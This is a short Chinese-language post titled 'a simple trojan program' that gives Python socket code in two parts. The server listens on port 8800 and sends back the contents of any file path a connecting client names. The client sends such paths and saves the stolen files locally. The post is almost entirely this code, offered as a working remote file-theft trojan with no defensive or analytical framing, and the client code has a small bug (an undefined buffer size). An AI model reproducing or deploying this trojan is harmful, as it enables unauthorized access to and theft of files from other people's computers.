一个简单的木马程序
绝大多数的木马程序都是基于Socket来实现的
废话少说直接上代码!
代码:
client部分:
# -*- coding: UTF-8 -*-import socketimport sysimport reimport osclass Client: def __init__(self, serverIp, serverPort): self.serverIp = serverIp # 待连接的远程主机的域名 self.serverPort = serverPort def connet(self): # 连接方法 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as e: print("Failed to create socket. Error: %s" % e) try: s.connect((self.serverIp, self.serverPort)) while True: message = input('> ') # 接收用户输入 if not message: break s.send(bytes(message, 'utf-8')) # 发送命令 data = s.recv(self.bufferSize) # 接收数据 if not data: break if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型 print(data.decode('utf-8')[4:]) else: # 文件内容处理 s.send("File size received".encode()) # 通知服务端可以发送文件了 file_total_size = int(data.decode()) # 总大小 received_size = 0 f = open("new" + os.path.split(message)[-1], "wb") # 创建文件 while received_size < file_total_size: data = s.recv(self.bufferSize) f.write(data) # 写文件 received_size += len(data) # 累加接收长度 print("已接收:", received_size) f.close() # 关闭文件 print("receive done", file_total_size, " ", received_size) except socket.error: s.close() raise # 退出进程 finally: s.close()if __name__ == '__main__': cl = Client('127.0.0.1', 8800) cl.connet() sys.exit() # 退出进程
server部分:
# -*- coding: UTF-8 -*-import socketimport sysimport osclass server: def __init__(self, ip, port): self.port = port self.ip = ip self.bufferSize = 10240 def start(self): # 启动监听,接收数据 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.bind((self.ip, self.port)) # 绑定 s.listen(10) # 监听 print('等待客户端连接') while True: # 一直等待新的连接 try: conn, addr = s.accept() # 接收连接 print('客户端连接 ' + addr[0] + ':' + str(addr[1])) while True: # 保持长连接 data = conn.recv(self.bufferSize)#接收数据 if not data:#断开连接时退出当前循环 break else: self.executeCommand(conn,data) conn.close()#关闭当前连接 except socket.error as e: print(e) conn.close() # 关闭连接 finally: s.close() # 关闭服务端 def executeCommand(self, tcpCliSock, data): # 解析并执行命令 try:# message = data.decode("utf-8") if os.path.isfile(message):#判断是否是文件 filesize = str(os.path.getsize(message))#获取文件大小 print("文件大小为:",filesize) tcpCliSock.send(filesize.encode())#发送文件大小 data = tcpCliSock.recv(self.bufferSize) print("开始发送") f = open(message, "rb")#打开文件 for line in f: tcpCliSock.send(line)#发送文件内容 except: raiseif __name__ == '__main__': s = server('', 8800) s.start()